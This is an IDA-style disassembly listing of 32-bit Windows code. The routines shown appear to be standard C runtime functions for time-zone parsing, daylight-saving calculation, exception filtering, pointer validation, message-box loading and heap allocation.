sub_424D1D	proc near		; CODE XREF: sub_424CB9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424D6B
		cmp	ebx, edi
		jz	short loc_424D64
		lea	edi, [ecx+3C00h]
		jmp	short loc_424D8C
; ---------------------------------------------------------------------------


loc_424D64:				; CODE XREF: sub_424D1D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424D8C
; ---------------------------------------------------------------------------


loc_424D6B:				; CODE XREF: sub_424D1D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424D83
		cmp	edx, ebx
		jnz	short loc_424D83
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424DCE
; ---------------------------------------------------------------------------


loc_424D83:				; CODE XREF: sub_424D1D+52j
					; sub_424D1D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424D8C:				; CODE XREF: sub_424D1D+45j
					; sub_424D1D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424DA4:				; CODE XREF: sub_424D1D+A6j
		test	ecx, esi
		jnz	short loc_424DC5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424DA4
; ---------------------------------------------------------------------------


loc_424DC5:				; CODE XREF: sub_424D1D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424DCE:				; CODE XREF: sub_424D1D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424D1D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E0C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424DDC	proc near		; DATA XREF: sub_424E22o
					; .XPack0:0043FBD8o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424DFF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424DFF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424DFF
		jmp	sub_422BFC
; ---------------------------------------------------------------------------


loc_424DFF:				; CODE XREF: sub_424DDC+Dj
					; sub_424DDC+13j ...
		mov	eax, dword_4DE7F0
		test	eax, eax
		jz	short loc_424E1C
		push	eax
		call	sub_424E78
		test	eax, eax
		pop	ecx
		jz	short loc_424E1C
		push	esi
		call	dword_4DE7F0
		jmp	short loc_424E1E
; ---------------------------------------------------------------------------


loc_424E1C:				; CODE XREF: sub_424DDC+2Aj
					; sub_424DDC+35j
		xor	eax, eax


loc_424E1E:				; CODE XREF: sub_424DDC+3Ej
		pop	esi
		retn	4
sub_424DDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424E22	proc near		; DATA XREF: .XPack0:0042A028o
		push	offset sub_424DDC
		call	dword_42801C	; SetUnhandledExceptionFilter
		mov	dword_4DE7F0, eax
		retn
sub_424E22	endp


; =============== S U B	R O U T	I N E =======================================



sub_424E33	proc near		; DATA XREF: .XPack0:0042A040o
		push	dword_4DE7F0
		call	dword_42801C	; SetUnhandledExceptionFilter
		retn
sub_424E33	endp


; =============== S U B	R O U T	I N E =======================================



sub_424E40	proc near		; CODE XREF: sub_422451+6Bp
					; sub_422962+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_428018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_424E58
		xor	esi, esi


loc_424E58:				; CODE XREF: sub_424E40+14j
		mov	eax, esi
		pop	esi
		retn
sub_424E40	endp


; =============== S U B	R O U T	I N E =======================================



sub_424E5C	proc near		; CODE XREF: sub_422962+73p
					; sub_422962+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_4281D4	; IsBadWritePtr
		test	eax, eax
		jz	short loc_424E74
		xor	esi, esi


loc_424E74:				; CODE XREF: sub_424E5C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424E5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424E78	proc near		; CODE XREF: sub_422962+15Bp
					; sub_424DDC+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_428014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_424E8C
		xor	esi, esi


loc_424E8C:				; CODE XREF: sub_424E78+10j
		mov	eax, esi
		pop	esi
		retn
sub_424E78	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422BFC


loc_424E90:				; CODE XREF: sub_422BFC:loc_422C4Dj
		push	0Ah
		call	sub_423C91
		push	16h
		call	sub_426025
		pop	ecx
		pop	ecx
		push	3
		call	sub_41BE32
; END OF FUNCTION CHUNK	FOR sub_422BFC

; =============== S U B	R O U T	I N E =======================================



sub_424EA7	proc near		; CODE XREF: sub_422D09:loc_422D48p
		cmp	dword_4DE8B0, 0
		jnz	short locret_424EBB
		call	sub_424EBC
		inc	dword_4DE8B0

locret_424EBB:				; CODE XREF: sub_424EA7+7j
		retn
sub_424EA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424EBC	proc near		; CODE XREF: sub_424EA7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DE7F8, ebp
		mov	dword_440070, ebx
		mov	dword_440060, ebx
		call	sub_426197
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424FE5
		push	offset dword_4DE800
		call	dword_4281AC	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_425114
		mov	eax, dword_4DE800
		mov	ecx, dword_4DE854
		imul	eax, 3Ch
		cmp	word_4DE846, bp
		push	1
		pop	edx
		mov	dword_43FFC8, eax
		mov	dword_4DE7F8, edx
		jz	short loc_424F33
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43FFC8, eax


loc_424F33:				; CODE XREF: sub_424EBC+69j
		cmp	word_4DE89A, bp
		jz	short loc_424F57
		mov	eax, dword_4DE8A8
		cmp	eax, ebp
		jz	short loc_424F57
		sub	eax, ecx
		mov	dword_43FFCC, edx
		imul	eax, 3Ch
		mov	dword_43FFD0, eax
		jmp	short loc_424F63
; ---------------------------------------------------------------------------


loc_424F57:				; CODE XREF: sub_424EBC+7Ej
					; sub_424EBC+87j
		mov	dword_43FFCC, ebp
		mov	dword_43FFD0, ebp


loc_424F63:				; CODE XREF: sub_424EBC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42818C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_440054
		push	ebx
		push	offset dword_4DE804
		push	edi
		push	dword_4DE694
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_424FA0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_424FA0
		mov	eax, off_440054
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_424FA8
; ---------------------------------------------------------------------------


loc_424FA0:				; CODE XREF: sub_424EBC+D1j
					; sub_424EBC+D7j
		mov	eax, off_440054
		and	byte ptr [eax],	0


loc_424FA8:				; CODE XREF: sub_424EBC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_440058
		push	ebx
		push	offset dword_4DE858
		push	edi
		push	dword_4DE694
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_42510C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_42510C
		mov	eax, off_440058
		and	byte ptr [eax+3Fh], 0
		jmp	loc_425114
; ---------------------------------------------------------------------------


loc_424FE5:				; CODE XREF: sub_424EBC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_425114
		mov	eax, dword_4DE8AC
		cmp	eax, ebp
		jz	short loc_425008
		push	eax
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_425114


loc_425008:				; CODE XREF: sub_424EBC+139j
		push	dword_4DE8AC
		call	sub_41B721
		push	esi
		call	sub_41B650
		inc	eax
		push	eax
		call	sub_41BB45
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DE8AC, eax
		jz	loc_425114
		push	esi
		push	eax
		call	sub_41C520
		push	3
		push	esi
		push	off_440054
		call	sub_41BC60
		mov	eax, off_440054
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42505D
		push	1
		inc	esi
		pop	edi


loc_42505D:				; CODE XREF: sub_424EBC+19Bj
		push	esi
		call	sub_41BD5E
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43FFC8, ecx


loc_425074:				; CODE XREF: sub_424EBC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_425082
		cmp	al, bl
		jl	short loc_425085
		cmp	al, 39h
		jg	short loc_425085


loc_425082:				; CODE XREF: sub_424EBC+1BCj
		inc	esi
		jmp	short loc_425074
; ---------------------------------------------------------------------------


loc_425085:				; CODE XREF: sub_424EBC+1C0j
					; sub_424EBC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_4250D8
		inc	esi
		push	esi
		call	sub_41BD5E
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43FFC8
		add	ecx, eax
		mov	dword_43FFC8, ecx


loc_4250A3:				; CODE XREF: sub_424EBC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4250B0
		cmp	al, 39h
		jg	short loc_4250B0
		inc	esi
		jmp	short loc_4250A3
; ---------------------------------------------------------------------------


loc_4250B0:				; CODE XREF: sub_424EBC+1EBj
					; sub_424EBC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_4250D8
		inc	esi
		push	esi
		call	sub_41BD5E
		pop	ecx
		mov	ecx, dword_43FFC8
		add	ecx, eax
		mov	dword_43FFC8, ecx


loc_4250CB:				; CODE XREF: sub_424EBC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4250D8
		cmp	al, 39h
		jg	short loc_4250D8
		inc	esi
		jmp	short loc_4250CB
; ---------------------------------------------------------------------------


loc_4250D8:				; CODE XREF: sub_424EBC+1CCj
					; sub_424EBC+1F7j ...
		cmp	edi, ebp
		jz	short loc_4250E4
		neg	ecx
		mov	dword_43FFC8, ecx


loc_4250E4:				; CODE XREF: sub_424EBC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43FFCC, eax
		jz	short loc_42510C
		push	3
		push	esi
		push	off_440058
		call	sub_41BC60
		mov	eax, off_440058
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_425114
; ---------------------------------------------------------------------------


loc_42510C:				; CODE XREF: sub_424EBC+10Bj
					; sub_424EBC+115j ...
		mov	eax, off_440058
		and	byte ptr [eax],	0


loc_425114:				; CODE XREF: sub_424EBC+40j
					; sub_424EBC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_424EBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42511A	proc near		; CODE XREF: sub_422D09+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43FFCC, edi
		jnz	short loc_42512E


loc_425127:				; CODE XREF: sub_42511A+148j
					; sub_42511A+150j ...
		xor	eax, eax
		jmp	loc_42527A
; ---------------------------------------------------------------------------


loc_42512E:				; CODE XREF: sub_42511A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_440060
		jnz	short loc_42514C
		cmp	eax, dword_440070
		jz	loc_42524E


loc_42514C:				; CODE XREF: sub_42511A+24j
		cmp	dword_4DE7F8, edi
		jz	loc_425224
		movzx	ecx, word_4DE8A6
		push	ecx
		cmp	word_4DE898, di
		movzx	ecx, word_4DE8A4
		push	ecx
		movzx	ecx, word_4DE8A2
		push	ecx
		movzx	ecx, word_4DE8A0
		push	ecx
		jnz	short loc_42519E
		movzx	ecx, word_4DE89C
		push	edi
		push	ecx
		movzx	ecx, word_4DE89E
		push	ecx
		movzx	ecx, word_4DE89A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_4251B2
; ---------------------------------------------------------------------------


loc_42519E:				; CODE XREF: sub_42511A+65j
		movzx	ecx, word_4DE89E
		push	ecx
		push	edi
		movzx	ecx, word_4DE89A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_4251B2:				; CODE XREF: sub_42511A+82j
		push	ebx
		call	sub_4252C6
		movzx	eax, word_4DE852
		add	esp, 2Ch
		cmp	word_4DE844, di
		push	eax
		movzx	eax, word_4DE850
		push	eax
		movzx	eax, word_4DE84E
		push	eax
		movzx	eax, word_4DE84C
		push	eax
		jnz	short loc_42520C
		movzx	eax, word_4DE848
		push	edi
		push	eax
		movzx	eax, word_4DE84A
		push	eax
		movzx	eax, word_4DE846
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_425201:				; CODE XREF: sub_42511A+108j
		push	edi
		call	sub_4252C6
		add	esp, 2Ch
		jmp	short loc_42524E
; ---------------------------------------------------------------------------


loc_42520C:				; CODE XREF: sub_42511A+C8j
		movzx	eax, word_4DE84A
		push	eax
		push	edi
		movzx	eax, word_4DE846
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_425201
; ---------------------------------------------------------------------------


loc_425224:				; CODE XREF: sub_42511A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_4252C6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah


loc_425241:				; DATA XREF: .XPack0:off_43B148o
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_4252C6
		add	esp, 58h


loc_42524E:				; CODE XREF: sub_42511A+2Cj
					; sub_42511A+F0j
		mov	edx, dword_440064
		mov	eax, dword_440074
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_42527E
		cmp	ecx, edx
		jl	loc_425127
		cmp	ecx, eax
		jg	loc_425127
		cmp	ecx, edx
		jle	short loc_425292
		cmp	ecx, eax
		jge	short loc_425292


loc_425278:				; CODE XREF: sub_42511A+166j
					; sub_42511A+16Aj
		mov	eax, ebx


loc_42527A:				; CODE XREF: sub_42511A+Fj
					; sub_42511A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42527E:				; CODE XREF: sub_42511A+144j
		cmp	ecx, eax
		jl	short loc_425278
		cmp	ecx, edx
		jg	short loc_425278
		cmp	ecx, eax
		jle	short loc_425292
		cmp	ecx, edx
		jl	loc_425127


loc_425292:				; CODE XREF: sub_42511A+158j
					; sub_42511A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_4252B9
		xor	ecx, ecx
		cmp	eax, dword_440068
		setnl	cl


loc_4252B5:				; CODE XREF: sub_42511A+1AAj
		mov	eax, ecx
		jmp	short loc_42527A
; ---------------------------------------------------------------------------


loc_4252B9:				; CODE XREF: sub_42511A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_440078
		setl	cl
		jmp	short loc_4252B5
sub_42511A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4252C6	proc near		; CODE XREF: sub_42511A+99p
					; sub_42511A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_425361
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_4252F1
		shl	esi, 2
		mov	eax, dword_440078[esi]
		jmp	short loc_4252FA
; ---------------------------------------------------------------------------


loc_4252F1:				; CODE XREF: sub_4252C6+1Ej
		shl	esi, 2
		mov	eax, dword_4400AC[esi]


loc_4252FA:				; CODE XREF: sub_4252C6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_425334
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_42533E
; ---------------------------------------------------------------------------


loc_425334:				; CODE XREF: sub_4252C6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_42533E:				; CODE XREF: sub_4252C6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_42537C
		cmp	[ebp+arg_8], 0
		jnz	short loc_425352
		mov	esi, dword_44007C[esi]
		jmp	short loc_425358
; ---------------------------------------------------------------------------


loc_425352:				; CODE XREF: sub_4252C6+82j
		mov	esi, dword_4400B0[esi]


loc_425358:				; CODE XREF: sub_4252C6+8Aj
		cmp	ecx, esi
		jle	short loc_42537C
		sub	ecx, 7
		jmp	short loc_42537C
; ---------------------------------------------------------------------------


loc_425361:				; CODE XREF: sub_4252C6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_425372
		mov	ecx, dword_440078[eax*4]
		jmp	short loc_425379
; ---------------------------------------------------------------------------


loc_425372:				; CODE XREF: sub_4252C6+A1j
		mov	ecx, dword_4400AC[eax*4]


loc_425379:				; CODE XREF: sub_4252C6+AAj
		add	ecx, [ebp+arg_18]


loc_42537C:				; CODE XREF: sub_4252C6+7Cj
					; sub_4252C6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_4253AD
		mov	eax, [ebp+arg_1C]
		mov	dword_440064, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_440060, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_440068, eax
		jmp	short loc_425402
; ---------------------------------------------------------------------------


loc_4253AD:				; CODE XREF: sub_4252C6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_440074, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43FFD0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_440078, eax
		jns	short loc_4253E5
		add	eax, 5265C00h
		dec	ecx
		mov	dword_440078, eax
		jmp	short loc_4253F6
; ---------------------------------------------------------------------------


loc_4253E5:				; CODE XREF: sub_4252C6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_4253FC
		sub	eax, edx
		inc	ecx
		mov	dword_440078, eax


loc_4253F6:				; CODE XREF: sub_4252C6+11Dj
		mov	dword_440074, ecx


loc_4253FC:				; CODE XREF: sub_4252C6+126j
		mov	dword_440070, ebx


loc_425402:				; CODE XREF: sub_4252C6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4252C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_425406	proc near		; CODE XREF: sub_42353D+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_425417
		add	esp, 0Ch
		retn
sub_425406	endp


; =============== S U B	R O U T	I N E =======================================



sub_425417	proc near		; CODE XREF: sub_425406+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DFB41[eax], cl
		jnz	short loc_425444
		cmp	[esp+arg_4], 0
		jz	short loc_42543D
		movzx	eax, word_43F622[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_42543F
; ---------------------------------------------------------------------------


loc_42543D:				; CODE XREF: sub_425417+16j
		xor	eax, eax


loc_42543F:				; CODE XREF: sub_425417+24j
		test	eax, eax
		jnz	short loc_425444
		retn
; ---------------------------------------------------------------------------


loc_425444:				; CODE XREF: sub_425417+Fj
					; sub_425417+2Aj
		push	1
		pop	eax
		retn
sub_425417	endp


; =============== S U B	R O U T	I N E =======================================



sub_425448	proc near		; CODE XREF: sub_423C91+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DE8B4, ebx
		push	esi
		push	edi
		jnz	short loc_425497
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4280C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4254CD
		mov	esi, dword_4280C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4DE8B4, eax
		jz	short loc_4254CD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DE8B8, eax
		call	esi	; GetProcAddress
		mov	dword_4DE8BC, eax


loc_425497:				; CODE XREF: sub_425448+Bj
		mov	eax, dword_4DE8B8
		test	eax, eax
		jz	short loc_4254B6
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4254B6
		mov	eax, dword_4DE8BC
		test	eax, eax
		jz	short loc_4254B6
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_4254B6:				; CODE XREF: sub_425448+56j
					; sub_425448+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DE8B4	; MessageBoxA


loc_4254C9:				; CODE XREF: sub_425448+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4254CD:				; CODE XREF: sub_425448+1Cj
					; sub_425448+33j
		xor	eax, eax
		jmp	short loc_4254C9
sub_425448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254D1	proc near		; CODE XREF: sub_423FFE+22p
					; sub_423FFE+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4254F2
		test	esi, esi
		jnz	short loc_4254EC
		push	1
		pop	esi


loc_4254EC:				; CODE XREF: sub_4254D1+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4254F2:				; CODE XREF: sub_4254D1+12j
					; sub_4254D1+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425551
		mov	eax, dword_4DFC68
		cmp	eax, 3
		jnz	short loc_42551D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DFC60
		ja	short loc_42553C
		push	eax
		call	sub_41E86B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425567
		jmp	short loc_42553C
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254D1+30j
		cmp	eax, 2
		jnz	short loc_42553C
		cmp	esi, dword_43F614
		ja	short loc_42553C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F30E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42557B


loc_42553C:				; CODE XREF: sub_4254D1+3Bj
					; sub_4254D1+4Aj ...
		push	esi
		push	8
		push	dword_4DFC64
		call	dword_428154	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425575


loc_425551:				; CODE XREF: sub_4254D1+26j
		cmp	dword_4DE64C, 0
		jz	short loc_425575
		push	esi
		call	sub_41F9B2
		test	eax, eax
		pop	ecx
		jz	short loc_42557E
		jmp	short loc_4254F2
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4254D1+48j
		push	[ebp+arg_0]


loc_42556A:				; CODE XREF: sub_4254D1+ABj
		push	0
		push	edi
		call	sub_41BC00
		add	esp, 0Ch


loc_425575:				; CODE XREF: sub_4254D1+7Ej
					; sub_4254D1+87j
		mov	eax, edi


loc_425577:				; CODE XREF: sub_4254D1+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42557B:				; CODE XREF: sub_4254D1+69j
		push	esi
		jmp	short loc_42556A
; ---------------------------------------------------------------------------


loc_42557E:				; CODE XREF: sub_4254D1+92j
		xor	eax, eax
		jmp	short loc_425577
sub_4254D1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240A3


loc_425582:				; CODE XREF: sub_4240A3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DF900, esi
		jle	short loc_4255D5


loc_425591:				; CODE XREF: sub_4240A3+1530j
		mov	eax, dword_4DE8E8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4255CC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4255B0
		push	eax
		call	sub_41B6CB
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4255B0
		inc	edi


loc_4255B0:				; CODE XREF: sub_4240A3+14FEj
					; sub_4240A3+150Aj
		cmp	esi, 14h
		jl	short loc_4255CC
		mov	eax, dword_4DE8E8
		push	dword ptr [eax+esi*4]
		call	sub_41B721
		mov	eax, dword_4DE8E8
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4255CC:				; CODE XREF: sub_4240A3+14F8j
					; sub_4240A3+1510j
		inc	esi
		cmp	esi, dword_4DF900
		jl	short loc_425591


loc_4255D5:				; CODE XREF: sub_4240A3+14ECj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4240A3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4255DA	proc near		; CODE XREF: sub_4240FB+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C190
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DFA20
		jnb	loc_42570F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DF920[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42570F
		push	1
		push	esi
		push	ebx
		call	sub_422DCB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425719
		push	2
		push	esi
		push	ebx
		call	sub_422DCB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425719
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4256BC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BC00
		push	8000h
		push	ebx
		call	sub_426214
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425670:				; CODE XREF: sub_4255DA+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42567B
		mov	eax, edi


loc_42567B:				; CODE XREF: sub_4255DA+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_422FBD
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425699
		sub	edi, eax
		test	edi, edi
		jle	short loc_4256AF
		jmp	short loc_425670
; ---------------------------------------------------------------------------


loc_425699:				; CODE XREF: sub_4255DA+B5j
		cmp	dword_4DE5C8, 5
		jnz	short loc_4256AC
		mov	dword_4DE5C4, 0Dh


loc_4256AC:				; CODE XREF: sub_4255DA+C6j
		or	esi, 0FFFFFFFFh


